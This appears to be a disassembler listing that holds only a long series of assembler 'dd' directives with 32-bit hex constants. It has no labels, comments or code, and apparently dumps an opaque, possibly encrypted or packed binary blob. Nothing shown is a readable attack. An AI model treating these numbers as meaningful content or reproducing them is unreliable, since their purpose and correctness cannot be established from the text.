		dd 1344A739h, 0CA52FA84h, 1367C25h, 7B4F1171h, 320FE805h
		dd 0AB812E5Bh, 0E2B6549h, 0C2BAB0BAh, 6815A260h, 10B8CE5Ch
		dd 58580A3Eh, 197833Eh,	0BB37154Dh, 0A81A4548h,	4E77686Bh
		dd 3B1AB0FFh, 573063ABh, 0CC0E7460h, 8EE92B4Ah,	0A0300841h
		dd 0BB9A4075h, 0DC08B005h, 738729D8h, 8CBC7FD5h, 4B90CA4Ah
		dd 0E4BB7922h, 79D7209Eh, 48F75D5Ah, 889E2F7Eh,	0A439B047h
		dd 21232E0h, 0CDE7CBCh,	0CB339C7Dh, 75D9601h, 6E3C17Ah
		dd 1784ED20h, 0FC85D76Fh, 68500BEBh, 0AFD3C702h, 0A29590D0h
		dd 0DDF9F6C3h, 0BD231866h, 6AF9424Bh, 3264AD07h, 0F70543D2h
		dd 2B00D229h, 2FB3F2FDh, 0C90E5167h, 6B552B4Fh,	47DEF008h
		dd 0E93F123Bh, 0D0B7E007h, 22B7E548h, 58C116A2h, 6413F849h
		dd 19800706h, 16F41AD0h, 8530E92Eh, 797AB647h, 0A72DBBA4h
		dd 73E8F46Ah, 0B0CFE5F1h, 6BB41667h, 0A8B14A51h, 97E47A79h
		dd 378187CCh, 0C01FF264h, 0DC7A8C0Fh, 0D2830146h, 0B80AA82Ch
		dd 63901720h, 30FD3F54h, 8A10E562h, 9E8B0B9Dh, 0CEDFF34Ah
		dd 87CCBF2Dh, 0DD9BE912h, 7E950161h, 59DFEE10h,	0C7D9830h
		dd 2E8E1EE2h, 0D2B95F6Bh, 89B92F61h, 0E65AD183h, 7396B76Fh
		dd 4902EBA1h, 384A150h,	2CAE5893h, 6B401D84h, 1EE607BEh
		dd 508164EBh, 7C167DC9h, 186450B7h, 0C5DF00Bh, 0CC2F6C60h
		dd 0CA6D82Ah, 105D8F7h,	0BB7B354Dh, 89133A0Bh, 0D07B0FC5h
		dd 1FF4B2Ch, 0A0E72126h, 99126B31h, 9BAD0A0h, 5BBC178Bh
		dd 0D51146C0h, 9F6A7582h, 0E90BFBC5h, 48D3E1D9h, 1DFBA43Ah
		dd 0E159292Dh, 0B8304128h, 0BC5205A4h, 0C2DFF725h, 210978DDh
		dd 421928C6h, 61EF8130h, 0C1E90D26h, 0EA5D2A76h, 0F2EDDD0Fh
		dd 5689CD5Ah, 0B440EBE7h, 5F8270BCh, 519F95C6h,	0C0836324h
		dd 8121FFFCh, 8604EEA4h, 74207E07h, 0E65E5FE0h,	250C222Bh
		dd 17FEAD49h, 20484C69h, 892EB26Ah, 410B64F5h, 4E89C67Eh
		dd 0A47FA252h, 0FBC4C8FFh, 8B3D634Eh, 5302303Bh, 80BF67E9h
		dd 5FEDBD6Ch, 0C93C4EBAh, 19BFDC27h, 1270253Dh,	9F9F3CDh
		dd 0A039ABD7h, 9233A22Ah, 0F6F4B03h, 0CAC09F0Ch, 4A092F62h
		dd 95FDD15Ch, 8180CDD0h, 0D4745734h, 0CC5E96Dh,	2D9F5538h
		dd 8807031Ah, 5AD7D1F2h, 271E785Eh, 0A7E7F605h,	0D20C058h
		dd 0C48019A5h, 0ECF0065Dh, 10B2CEC6h, 696291ECh, 57C5C223h
		dd 47537107h, 5506BC3h,	6CA2DB26h, 25AB7E69h, 0E941B4F9h
		dd 0FE0211A3h, 80301340h, 1B93EB58h, 0E241A843h, 591AFE02h
		dd 90D86F56h, 57879D86h, 82B36F4Eh, 4D605980h, 0D582E6C1h
		dd 0E912581Ch, 49446CE1h, 80A802EBh, 7E5A0380h,	1720E950h
		dd 495C5E76h, 0F7F6AE63h, 2C7C4F25h, 5DD01A97h,	2B948077h
		dd 0B816C048h, 92AB2076h, 0F5CA293Bh, 680EA762h, 2B49C19Dh
		dd 0BD0D14E8h, 8322E9C7h, 200BE92Ch, 0EB2CB78Eh, 7B7B90CBh
		dd 0BE838167h, 218E9794h, 41B04653h, 731F12C3h,	4DAE87Eh
		dd 715D6785h, 6C5C3C01h, 72406BF3h, 14B00BC6h, 3BC2B5B8h
		dd 0E9044676h, 16FDBCBBh, 121AF94Bh, 0BF656740h, 7DAB6E13h
		dd 1B652099h, 0D5BC4A4Fh, 0D82AE9C2h, 5E977FCh,	95A04769h
		dd 0BC2926CCh, 2D9816B4h, 0E90FD2B0h, 1B586Ch, 2E3A355Ah
		dd 0C62D5D16h, 0D90CA413h, 0E91020EEh, 5195C276h, 0B9AA831h
		dd 79E170DBh, 2605B00h,	0C1760D3Eh, 0E1D1063Ch,	31353216h
		dd 5D6855FEh, 7F2CF5E3h, 0E108FD0Bh, 0F40F388Ch, 16D3885Ah
		dd 66434710h, 922857BAh, 307FEB47h, 3CBB530Eh, 70A80878h
		dd 0F78C099Dh, 0FF848F76h, 81AFEC7Eh, 78EAB951h, 0CDE50DF9h
		dd 5325FB69h, 0C3BA1DE0h, 6FA76416h, 724BCF2h, 2585100Dh
		dd 5574B228h, 0B551C840h, 0E580170Eh, 46ED67A4h, 33E9E801h
		dd 0FE1F5668h, 0D737F9CCh, 14BAC20Ah, 5A492075h, 0A06D872Ch
		dd 410A184h, 3BE96641h,	0B1B7E8C9h, 842E555Bh, 6227E15Ch
		dd 0F2A3932Ah, 0E9F32906h, 0BB0CDB99h, 3E0611D3h, 3E9A41ADh
		dd 5F2E34E6h, 0A4555A14h, 23443CB5h, 24014ECh, 78657E75h
		dd 24CC7C59h, 3D6100BCh, 0D5217F15h, 97EDE4B8h,	4BBA055Eh
		dd 29DD2DDAh, 183C83E7h, 1CC72A91h, 36E3CCEh, 40DC0FA8h
		dd 90092D8Ah, 48637F57h, 80F0ACACh, 6626F830h, 620B365Bh
		dd 4FB9A90h, 0A5CCB190h, 59CB0E28h, 1270B868h, 0EFC225E9h
		dd 4B696CB9h, 528FB78Ah, 0EFBC4B8Eh, 14656984h,	470709F2h
		dd 0F6078774h, 3E342A77h, 19049CC5h, 72EACB77h,	1C7D586Ah
		dd 56530634h, 180FD4E9h, 290BBDh, 705EC738h, 0EE7E7A7Ch
		dd 231A0BCFh, 0D90416C3h, 0F010BC6h, 0BAF8044Ah, 0C727BBB9h
		dd 2340E9CAh, 5418F9E7h, 0C51A4E79h, 74142C45h,	0E3E98C62h
		dd 52093549h, 0FD2EA607h, 64F5C122h, 53608E71h,	16626850h
		dd 75B9D76h, 8589A2F0h,	248BDA4h, 0AF5CB9EEh, 0E988E036h
		dd 0BC80BD3Dh, 625870BFh, 9B4B7C7Ah, 595B0D00h,	50885253h
		dd 41D6E4C6h, 6B03AABh,	3CD5C2Fh, 0DD2558CFh, 0DA8EAC8Eh
		dd 0A2BEF506h, 23E7A129h, 69261E2Ch, 5BD56858h,	0C218F84Ch
		dd 777901E9h, 0BB49D666h, 0F9211B2Bh, 1A4DD14Fh, 0A2EB7581h
		dd 7E230B71h, 882E13C1h, 3A845657h, 0B2527791h,	0EEA0830h
		dd 57B3537Bh, 0AED8CBC5h, 0ABA87309h, 90E24677h, 818440D9h
		dd 6B85E50Ah, 0C500EE0Eh, 0D5D6054h, 0E2E95E01h, 69D809BAh
		dd 7B87663h, 7CCD4EAEh,	3702670Ch, 8FE90266h, 80804EFAh
		dd 277E01DCh, 0F474357Ch, 64706F09h, 54BD0295h,	2D5871CCh
		dd 0FAE90682h, 6812E2D8h, 80B209A5h, 0ACD918DEh, 4218CAEEh
		dd 0B65F71A8h, 3DE6BF67h, 4664CD25h, 24F79058h,	1EBE1FBEh
		dd 0F5AC0D3h, 0E468C0B7h
		dd 0DE25A3B4h, 8008720Bh, 7F1462FEh, 838C48F9h,	0AAF01B03h
		dd 738B80E6h, 90486F34h, 1B8B0297h, 0D7F73891h,	42770EE2h
		dd 4F3336A6h, 0EF4F13D9h, 7DE9683Ch, 0B148D64Fh, 1CF67ABFh
		dd 1335F74Eh, 3721D25Ch, 96046332h, 0B9382972h,	93815B68h
		dd 0DA56CF1h, 0C6BF8050h, 0B4EBF2FDh, 0A4968848h, 7AC26802h
		dd 0EE18E8D9h, 770980AFh, 0C18F1C4Fh, 0ECE9A961h, 9C2EA662h
		dd 0CC421B6Dh, 0BFA7A02Dh, 5CB75723h, 27353966h, 3C4EB0Dh
		dd 0B18512EFh, 70E22AE7h, 3C7D5C8Bh, 915BBD3Bh,	7949D289h
		dd 0F9DD8801h, 7004B712h, 21AFE769h, 295166B1h,	997E847Ch
		dd 0F4024109h, 0ACD67461h, 950FF0C8h, 155C25Bh,	29ACC2D1h
		dd 70845508h, 0ECF09430h, 0F6D7DEA0h, 4CB94E40h, 12060A5Bh
		dd 350FCA68h, 4BC9AA59h, 90A1F23Eh, 0E34912CBh,	0C1344D20h
		dd 4B327B77h, 0DEEDD060h, 8C0D3F7h, 550BE681h, 0A1C5829h
		dd 8826CB20h, 94E4FFAh,	687EB0D8h, 0B90A4BF9h, 0B3E984EAh
		dd 0B85C9AF0h, 0A238270Fh, 681591E6h, 85B62DAAh, 75FA0DB1h
		dd 0AD9285D1h, 8292DE42h, 688240B9h, 40A54BE1h,	0ED550C54h
		dd 0C90B8185h, 2F814A1h, 4D5D96Ch, 4F649133h, 0C5F31365h
		dd 0FA4C14E3h, 68F6B224h, 5CBF8839h, 755E066Fh,	7CFD2F9Fh
		dd 0DA366598h, 7542F782h, 29931255h, 7AB4FDDFh,	9F215C4Ah
		dd 0CA3A9E59h, 0F94074ECh, 58681266h, 1290A215h, 8DE26141h
		dd 16A8DF5Bh, 914311E9h, 1001CE68h, 25B342C9h, 514E1954h
		dd 1DF8B3Eh, 4CB61BA3h,	0B7AD3E9h, 0BAD65FBDh, 4C5EF2C2h
		dd 5268156Ah, 2F9CA164h, 9BD0C71Ah, 0E00EFD4Ch,	3A2047C7h
		dd 6D0646D6h, 0BFDE64E9h, 1D05577Ch, 0E0C15805h, 0EE32920Ah
		dd 0AF85E5A7h, 0A2FD2E4h, 0AD6FF905h, 77B188D4h, 8D3CBDE9h
		dd 835B6627h, 210F042h,	5C68BEE9h, 34B8B5Dh, 7A917FC0h
		dd 30765EDCh, 1ABB5330h, 79C86A1Fh, 697BF300h, 63D1289Fh
		dd 785C10EBh, 0C0561B3h, 7C349C3Ah, 171FD080h, 29681A44h
		dd 80950DDh, 4B070AF8h,	0D149D911h, 8BF205DBh, 6534BDB4h
		dd 0BC290CC7h, 87E94A41h, 1280645Eh, 84B9A2D3h,	0A0146018h
		dd 1288FD10h, 2B014E59h, 0F0570DB8h, 98CE847Eh,	0E972548Ah
		dd 8BA8BF4Bh, 0D1EEB92h, 36C2A4D2h, 59982B5h, 8BC5FD91h
		dd 0D047EA14h, 5FD21B46h, 43EBB52Fh, 4F295B4Eh,	93401E7Eh
		dd 573DDE66h, 0AD87C251h, 4A35B980h, 2962745Ch,	627A8Bh
		dd 8A3B450h, 16D0E348h,	6EE49419h, 2BF0757h, 0D20AAB36h
		dd 0F04C8BAEh, 288F8BEFh, 0A18B5DF8h, 4C3EF76h,	0E3D8F271h
		dd 0E90B16CBh, 16ECF912h, 748F14C6h, 0C9A7F25Fh, 0B85460ABh
		dd 2D15C030h, 763D6AEEh, 469FDA90h, 0F92976Ch, 0C3407662h
		dd 0B080CC21h, 0C728194Fh, 305BB658h, 81A051E9h, 0E17C8819h
		dd 38B92C39h, 2AF94AC4h, 0E9F00C61h, 0BB113435h, 3109D100h
		dd 4FEB8145h, 62EE0B18h, 0F2197E9h, 0CD68D001h,	0D5302B05h
		dd 3AD71FCh, 12F58152h,	0C4DC901Bh, 0A58BBB8Dh,	92685301h
		dd 201A2217h, 0DD0CF36Eh, 0C6C8725h, 0A532064Fh, 31B95176h
		dd 0C15B3490h, 0B52D138Ch, 419D4BD2h, 0A435A9E3h, 0BE5EB0D4h
		dd 1AC272C9h, 2CE1B961h, 0A5F387F6h, 0F7C176A2h, 0E8BD58A5h
		dd 545313F6h, 0EAA542B9h, 6D3BCA2Dh, 97103AECh,	0D966A24Ah
		dd 0BD521AC4h, 0A7A2BE80h, 894E8F1Dh, 0DEC471FDh, 0DD0105F9h
		dd 7CD28A1Eh, 352717ACh, 9ADC7BC2h, 0E76A4052h,	0D31D05E2h
		dd 0A827E917h, 675C2711h, 0FCB40C79h, 0A709F38Bh, 5667699h
		dd 0FD88DD9Eh, 9EB73D53h, 0BB09F316h, 5D2B6C77h, 8E636D92h
		dd 0DBBB3403h, 0D1424640h, 0E524B684h, 0B151285Ah, 99E380F4h
		dd 10BA80A3h, 0D3218BC5h, 4E37FA88h, 0BB922095h, 0A1625CE5h
		dd 0E6C7BFAEh, 535232E0h, 0A5C1F756h, 81B3819Ch, 9B0F70CDh
		dd 40D7F970h, 0AE4AB6B4h, 0E884A9FCh, 0D31E1C9Ah, 3936F025h
		dd 0F394ADE3h, 0E90B8F1Ah, 9F11F077h, 0A398883Ch, 271B266Fh
		dd 0E926AD16h, 0D7A60616h, 583BD67Ah, 1497F66Ah, 0BCE886B5h
		dd 0C0E9E101h, 2EE435E5h, 9B7A5CD1h, 0FA606A0Dh, 4B8B706Bh
		dd 2DAED53h, 79E9595Eh,	7035D20Fh, 25FE27D1h, 84BF9D7Ch
		dd 8DF8B1CCh, 0C6705D49h, 93B60F2Ch, 892B0908h,	0C5DA155Bh
		dd 5613EF9Bh, 0C622FAC0h, 0B2E9145Eh, 68C7E8C8h, 0F8432C69h
		dd 0B898015Fh, 927C412Fh, 94B75CE8h, 0C16474Ch,	62D8451Bh
		dd 0C6A4F826h, 1339559h, 0CFF26CEEh, 8CF3296Bh,	59E27C84h
		dd 0C61C8494h, 124542D6h, 88B8FE29h, 1C60690Bh,	2AE9C300h
		dd 8FBD6DAAh, 34C23C96h, 60207465h, 6103D67Dh, 0E9EE3A06h
		dd 5ACE2886h, 0F4B106B8h, 1D443AC4h, 0ECA874E1h, 563AFC4h
		dd 41AFD7F7h, 0AB0BED55h, 0DAC54099h, 50177708h, 8010F901h
		dd 74FF7D08h, 2BFF66EEh, 94041D88h, 0EC880EC1h,	8402E24Bh
		dd 0C0C61EEh, 4EFC4F2Dh, 0D34E80A4h, 63EC766h, 2530872Ch
		dd 78BAE909h, 0A35C5E53h, 721A26B3h, 6BDEDBAFh,	0F0A11547h
		dd 249C5888h, 9F7425B2h, 74253FA6h, 315889ABh, 0C3E2440Bh
		dd 81000356h, 0B27684F1h, 0BAE29F59h, 5F19B571h, 0E863E7B0h
		dd 8402B84Eh, 8C145B9Fh, 8CACF84Eh, 4801DF18h, 585E54D3h
		dd 719786F6h, 7C3E662Dh, 2408A041h, 807685E9h, 0FE58C220h
		dd 0EA1680CAh, 0A1E530E8h, 0B8E1D22Fh, 943C925Eh, 2DC634CAh
		dd 0B35511C6h, 8885116Eh, 5F028E4Bh, 4951F868h,	68869810h
		dd 0E0FC2D5Fh, 8E9B7E4Ah, 928E90Bh, 10A8287Bh, 0F9EA88A4h
		dd 0D030E12h, 112D0B80h, 89FD0B9Ah, 0D6EB8BF1h,	8E568334h
		dd 40D209B1h, 0BDC199B1h, 0BB398814h, 7CD78590h, 0FD84E94Bh
		dd 0F56AED99h, 9DB7457h, 63E86004h, 0CDEA5C01h,	5B0C0151h
		dd 8883705Fh, 0B0289E40h, 1D152C27h, 62D2514Dh,	5A41724Ch
		dd 6AC082EAh, 0FA2905E8h, 952E12C9h, 230BFE6Dh,	471CAB8Eh
		dd 10E98423h, 16680212h, 61DDDC13h, 2E20790Eh, 54853009h
		dd 64742D8Dh, 90A9857Ah, 0F9ED9929h, 7F684E65h,	5AF12E72h
		dd 65CB13F3h, 0A3D0AFB2h, 0FB252FEh, 5EAC01Ch, 0F6EDF3Ch
		dd 0F2E655CAh, 66900633h, 839DE72Ah, 0C3AD5B5Eh, 1970CC8Bh
		dd 7CBB5ED6h, 4730E968h, 5BC9B5EEh, 7950245Eh, 154A00D0h
		dd 3EE93538h, 4DD1BA5Ah, 8005785Ch, 0E67BF45Fh,	0E8C1120Ch
		dd 14070605h, 11CE48E9h, 0D439EB00h, 25D8F767h,	36262E00h
		dd 0FD033521h, 44B858B3h, 409BE240h, 4D9501A1h,	12922410h
		dd 0C159A002h, 0DB608EA2h, 5225C4BBh, 0B680D94Fh, 4B4B4E8Ch
		dd 0D94087BDh, 86D71613h, 73C4E83Bh, 9BC748h, 46735C52h
		dd 0BF08A8E9h, 4721DC18h, 84731C4Ch, 6805AD86h,	8579514h
		dd 56259B08h, 71782D7Ah, 396AC55h, 0A7E146B8h, 0F5803110h
		dd 2D0B2A22h, 0FEF29654h, 58E6B76Bh, 594E5598h,	62F2CCD7h
		dd 0C0E064DEh, 543BBF3Ch, 30B05D35h, 2097BB02h,	75F801F7h
		dd 60A53F45h, 5B12E974h, 4E958F96h, 14EDE1F0h, 9830F64Ah
		dd 0F82F4407h, 1284C917h, 2AF120Fh, 0B0D2DD26h,	0BC5AB985h
		dd 222DC064h, 0FC3B8D08h, 70551D8h, 145055D6h, 6052C7B6h
		dd 2449A7D2h, 0CA5228h,	0F2102EF3h, 5D73EB29h, 5450C327h
		dd 9910F283h, 0BE9164C9h, 0FE0CF862h, 4045EB76h, 2E75017h
		dd 6307E909h, 3726D75Bh, 0FB47B88h, 6173BC68h, 6967D916h
		dd 82BA8455h, 1B710412h, 17A810D0h, 1390F6CBh, 1DBE56EBh
		dd 0C10C115Bh, 7454E681h
		dd 0F6B0CFD7h, 0E83E27BBh, 10CE025Ch, 6075087Ch, 0C0397ECh
		dd 0A4E91691h, 9B09BFB9h, 0D7627E51h, 126AEA0Ah, 0EC798405h
		dd 223B07BEh, 3AC6AC97h, 7A828035h, 58873031h, 0FB50E186h
		dd 0D8A44062h, 7C4E06F1h, 9904CF0Ch, 0DE60E18h,	3A4F6005h
		dd 4DB3C38Ah, 30F589B1h, 0E4B77FB6h, 0A251B56Bh, 0F23DA43Eh
		dd 0FF5DEF42h, 5C0244BCh, 766D072Dh, 0D0827D0Bh, 667F8A6Bh
		dd 13BB7905h, 0AE4F960Ch, 6DC6C27h, 52A9003h, 4C2249DAh
		dd 0B2C9FB31h, 0C5F3A66Eh, 92BEB9E9h, 0E17FF3F8h, 5BE6A72Fh
		dd 0EFAEBD0Fh, 35B93D4h, 0EB284AD7h, 4B62EAFh, 1D3B636h
		dd 7E3363BFh, 41053568h, 0C3717A14h, 204F6661h,	0BA190B8h
		dd 5EF510EEh, 19DE07B9h, 0E0811A63h, 988138Ch, 774E70EAh
		dd 0C039F88Dh, 0C768A15h, 0E3815B01h, 88C24174h, 45C5936h
		dd 0A34A6468h, 6A5110B1h, 0EBD5F941h, 5C05BE05h, 7F009CBEh
		dd 1FF66179h, 50CA7829h, 2D8708EAh, 9595AD1h, 2D2BD40h
		dd 684F0B64h, 4C6645C2h, 0C003CF03h, 41215E1Bh,	9E0185EAh
		dd 28203D50h, 89582F18h, 0E60415F2h, 1B305CE2h,	80F28780h
		dd 290531E5h, 6571E93Ah, 32AA03EDh, 6E568FC1h, 54BEBED5h
		dd 0A32BC3F2h, 42521E9Ah, 435D319Eh, 3A076960h,	14563522h
		dd 9213D668h, 8405BBD3h, 0EACC174Dh, 0B0285EB0h, 0D741B511h
		dd 8B39EC66h, 3EF15A5Bh, 4C053460h, 12F9695Ch, 0DBCEECAh
		dd 102768E6h, 5B455E0Ch, 317841EAh, 0B588DF9Bh,	38680C65h
		dd 45B25B47h, 92B96C20h, 952BF0A0h, 0B35725C2h,	0FDA4FD2h
		dd 80145940h, 494E3503h, 0C4F252A8h, 53F61DF0h,	5968660Bh
		dd 41E8540Fh, 35CF885Bh, 0B4696C90h, 0A388B413h, 0FC5A4ED6h
		dd 2C5CA0F9h, 0F5F8E007h, 9134F2D2h, 0DE961D1h,	940A2CA3h
		dd 0F60827F5h, 18D81769h, 0D3870824h, 4C2614B8h, 4468176Ch
		dd 181E54Ch, 7D1062EBh,	0E3C30114h, 58080B95h, 0A13E790h
		dd 4D89AF94h, 5F9D022h,	8440C6C9h, 2DE0139h, 210E507Ah
		dd 1292E8D3h, 0FCAC755Ah, 4BB02312h, 1254D5A7h,	0AC40E310h
		dd 21F74109h, 0C9E57A0Eh, 4B0B447h, 5A294306h, 0B2CCE8EAh
		dd 18D7DE38h, 88AD7C41h, 2125AB74h, 92518C8h, 4F7B90C2h
		dd 4FD7E2D3h, 3F5F489h,	26BB5981h, 402CBF20h, 1F3D2191h
		dd 0D3403174h, 27A87DF3h, 0FA64091Dh, 0B913EC0Fh, 42CBE057h
		dd 27A6B0Ah, 504F6856h,	68C25984h, 5B6DA4DFh, 0CCC74282h
		dd 0BC92F2A2h, 0C62E38C4h, 0D4BD42AEh, 0B8DEA80Bh, 0C2665B02h
		dd 9092F74Bh, 0F68D67Eh, 0AF82622Ch, 61750E25h,	87045400h
		dd 77A4DFh, 8061B551h, 231F48EDh, 0BB1EBC20h, 36895C21h
		dd 8005D589h, 81EEB259h, 0EBE9CD01h, 294152D2h,	0A5EB7A30h
		dd 0ED4B1955h, 29B3937Fh, 40B509FDh, 0E75D15E2h, 9BE9840Eh
		dd 0EC0597DCh, 0BB9AE56Ch, 92BCB43Fh, 0ECE8C8F0h, 0A62F0893h
		dd 24083526h, 0BF570166h, 3A9A7FA2h, 565C0300h,	484740C8h
		dd 2B2D364Fh, 0CDB56103h, 42C1FD82h, 6767DFCh, 751063CAh
		dd 58161496h, 1E109EA4h, 0CEF84AFAh, 9C183581h,	0E8BF840Dh
		dd 54ECF37Bh, 868B444Eh, 885107DBh, 4BCC4FCEh, 25F374A3h
		dd 0A0A93C5Dh, 0B1D177Eh, 0DA0154C5h, 0E083208h, 2E9835Bh
		dd 0C42A4455h, 0FFBFD473h, 609FC08Ch, 0F9B98392h, 3648544Dh
		dd 6F528CCh, 612EC20Ah,	0CA14ED1Ah, 29084080h, 595BDA17h
		dd 8B5AC8B6h, 50A94B8Ch, 7D4028DAh, 61066851h, 590DEB7Bh
		dd 29674C78h, 7DC19A40h, 9F08F6AEh, 0AC20AC71h,	0E604F10Fh
		dd 0CE0184C7h, 3A84F0F8h, 310616BDh, 4E0858B5h,	0EB110EAFh
		dd 2E3B68A2h, 20FD665Fh, 0E9135DE2h, 3421C122h,	2801601Eh
		dd 0C53F4F0h, 0A5A67FE1h, 0A7A2A7Bh, 0B0809D25h, 0BA200D66h
		dd 0E90B7C62h, 2C95DA12h, 12328EE7h, 0DB7F0067h, 0E94BCE15h
		dd 79DE4476h, 6306D4C2h, 4F415735h, 5801C746h, 493C7698h
		dd 329CD3F7h, 0B3EAA08Ah, 0F32F5250h, 7C3F37ECh, 60D1A74Fh
		dd 137F2D03h, 0BB4B4A49h, 4A80CB2Ch, 8A4EFC87h,	0C601268Dh
		dd 0DB544BAh, 488B4AA2h, 4D32DC89h, 0D608E612h,	2EDBF501h
		dd 0E16FA522h, 4C63361Ah, 0A2E9C25Ah, 0B566D510h, 6DB02232h
		dd 7D2477EDh, 4ACFAB5Bh, 49144E73h, 0F09650C8h,	11696800h
		dd 875F6BC4h, 0D5F730EFh, 0FA28E908h, 0FD13AE91h, 0F5F44404h
		dd 4E656802h, 609BDECh,	0F46D455Ah, 1B4C81ACh, 80E001E9h
		dd 29D7C1ABh, 72F77012h, 41D924D1h, 9CE0324Bh, 55526970h
		dd 0D02D7E4Fh, 9F5F1406h, 0A8BC5350h, 453AFE59h, 0FC51C66Ch
		dd 5F3A9E30h, 345BEBC0h, 0F4E3E437h, 27589ECBh,	82B6C570h
		dd 0E3F0808Ch, 0BE5A5CB5h, 4B6D0CDEh, 699CD299h, 1C47BF1Fh
		dd 46A41A88h, 780BAB0h,	0B151E0CCh, 19C16179h, 8859E428h
		dd 0C4657BB8h, 0CA00F675h, 80D4865Ah, 385E6BF4h, 6584C502h
		dd 68F7187Dh, 0C94D4E7Eh, 20B525Bh, 90E36C7Dh, 0EE2027FBh
		dd 2D203AEEh, 69C29F57h, 930B0E41h, 0A907661Ah,	0E1593BA2h
		dd 0D56C5F85h, 0F327DBD4h, 67DF6C3Ah, 9D34AA81h, 0E9610271h
		dd 0A22BED3Ch, 0BC2778ACh, 4948A993h, 102DD06h,	349D28E4h
		dd 58323074h, 0DB4A08E5h, 0CBB1E18h, 0C8CB290Bh, 5C27A44Eh
		dd 22AB2CBAh, 31709F51h, 2C02E581h, 50AFC447h, 4C61F616h
		dd 196B24h, 1747F54Ch, 252B7C5Dh, 5FA56EDBh, 98E2A46Dh
		dd 4F2B1652h, 1A5C26A9h, 85813507h, 0EA2DE55Eh,	68E98C90h
		dd 0C0469D92h, 0A276DEh, 0C008F580h, 0E5D005EDh, 0F370C5F0h
		dd 62E9EE09h, 0E9BDF45Fh, 614B77DEh, 2C294B4h, 84605758h
		dd 0B1204697h, 14F9E61h, 875163E3h, 0F311816Fh,	91AEAA23h
		dd 0CCA3B47Eh, 0A403E348h, 0C50B5BE6h, 4FA56EE9h, 0A652AA05h
		dd 0FC921EAh, 0E20960C8h, 0F82A5881h, 50CA209h,	4A1E81E1h
		dd 0E36800A9h, 0F2659D79h, 0A4C3E989h, 0A2AE5C18h, 39FAD3E9h
		dd 0C79204A1h, 0CB13D197h, 1340224Ah, 0B89DD4E7h, 0FA23123Bh
		dd 0CC931561h, 825EF63Fh, 4A8B63E9h, 513D8464h,	0E50127BBh
		dd 264E278h, 884233Ah, 0A6714043h, 60092516h, 0D6E99B40h
		dd 90E8A84Ah, 56AE42C4h, 0BB0164ABh, 76E06613h,	0A68A4A0Bh
		dd 6E6C103Dh, 5959054Bh, 42278C55h, 0E7DCAA5Fh,	0BF27F8F5h
		dd 0CBDD59EAh, 0FDE0D16Eh, 0C3015B89h, 0C05A1684h, 2D51EB1Eh
		dd 16CF29F6h, 13BDAC55h, 5EE9FC01h, 0C73AF470h,	9C437C0Ah
		dd 283C8C1Ch, 16B708EFh, 0AF3C40A0h, 0EA80B5A8h, 6C4CB392h
		dd 3CFE975Ch, 0C12D6848h, 20B04C25h, 554AE721h,	444FD3E7h
		dd 179BDBDFh, 0E94F9EA8h, 66600524h, 1CAABD61h,	0F97DF4BBh
		dd 93DB1876h, 14A7F5DDh, 0EC78FB22h, 5F28D204h,	43C5EE07h
		dd 25CA1DEAh, 0E9221075h, 410D4AFDh, 21616547h,	9597866h
		dd 7D4911E4h, 0FE31B082h, 1F708175h, 4E94466Eh,	840BBF3h
		dd 0C4C69F5Eh, 0DBE18725h, 0C5FB4246h, 4E816CD7h, 32B00CB4h
		dd 0D9DD30D2h, 0B9004E90h, 0D17157Ah, 261AE181h, 838EB061h
		dd 0E61001E3h, 0D9915A42h, 55D9207Ah, 0D2B145FBh, 1E526122h
		dd 41EE20EBh, 0AB67A40h, 68B5512Eh, 0ED4B27AFh,	4AC23C50h
		dd 3BF7109h, 1FBE201h, 0D3685908h, 6FE9D99Dh, 24B18D02h
		dd 0F68CC0FDh, 0B45007D9h, 5BE480BCh, 0E687AC07h, 665AF4ECh
		dd 0D9B11FACh, 545201CAh, 0B075A26Fh, 9A711CE9h, 20492F50h
		dd 75954771h, 2B317D8Ah, 0BBCD2F2Ah, 60885301h,	7B94204Fh
		dd 57ADBAFh, 0BE59CD29h
		dd 88AF8DD4h, 0C09AC107h, 28408696h, 4D03D783h,	0E12F1829h
		dd 0EFC2FEA5h, 5D0E0488h, 44D206DBh, 9E53E15h, 4F57D158h
		dd 76E214E9h, 0DE40E077h, 2EFC2525h, 80EF0FCh, 0FC640BE9h
		dd 6AA4C244h, 0F9BE26Eh, 0C023E909h, 1979BDBCh,	20346268h
		dd 0D40BC1E4h, 9F093548h, 0F731477Ch, 31DE7106h, 0B2FD012Fh
		dd 0D9ABF72Ah, 0BBC03077h, 0E6031810h, 497ECA23h, 5831DA27h
		dd 7B4C0FB9h, 0E5A04E4Ah, 5DC4084Dh, 0CDC22397h, 400DC9AFh
		dd 0E5452301h, 50FF789Dh, 0A891CC4Ah, 7980F4A7h, 90A27E3Ch
		dd 0E4CE1DC4h, 4300AC07h, 0F1810E5Dh, 0E99D7D61h, 0A886122Fh
		dd 0EBE913A0h, 84EE1DC4h, 0D029EA1Bh, 3EA5806Fh, 485FA661h
		dd 0ED81A8C0h, 842913FBh, 60E2B821h, 0AF420D38h, 0A1CDF457h
		dd 30550E5h, 0B652027Fh, 0E0B753E0h, 0F438E295h, 0C4800780h
		dd 22798E4Eh, 8EC6E0CDh, 7F6E70BDh, 9CEE24D6h, 59E5109Dh
		dd 0BA5201FFh, 47BD0248h, 5075D6Ch, 0D0DE5480h,	2743B72Dh
		dd 0FFE91D17h, 565E5145h, 0FAE7359Dh, 97FB4433h, 8CE11680h
		dd 164E146Fh, 660AF2B8h, 29C6D73h, 3D873EBAh, 0F2FE5E72h
		dd 79DD7516h, 1A83B908h, 8F55A6F6h, 40A16B40h, 7736B873h
		dd 1DA1780h, 579A09C2h,	266A3877h, 5D408207h, 95CFFBAEh
		dd 412FA9F0h, 92265CE8h, 4BA6513Eh, 0A3B981E2h,	0E840FB06h
		dd 93B5F347h, 508CC16Ah, 5B81F77Eh, 0E90B288Eh,	0E9536684h
		dd 35124893h, 0B2D90585h, 0B4795E2Fh, 6C0FEA1Fh, 2CA984F9h
		dd 3A5AD9FBh, 39E13070h, 0E95C0B61h, 0AE7C84CBh, 0CE315941h
		dd 88FF1C9h, 112F387h, 60E9D3A4h, 0AC402BB1h, 5AF95CA7h
		dd 245F9289h, 67946206h, 0E12E9456h, 4C982AAEh,	0B068125Dh
		dd 6F8F8C52h, 0F73DE567h, 0F7077172h, 0B8F2C4E6h, 61688BA9h
		dd 10B42689h, 3116A042h, 1425EFEFh, 3060A0F1h, 0FD611BD9h
		dd 0BAC7121Dh, 731C3008h, 3D3CA744h, 0CF688B58h, 9F9CFD4Ah
		dd 1D968D96h, 0F7CD15BBh, 4F22CB9Eh, 0E7209066h, 6BB32CBBh
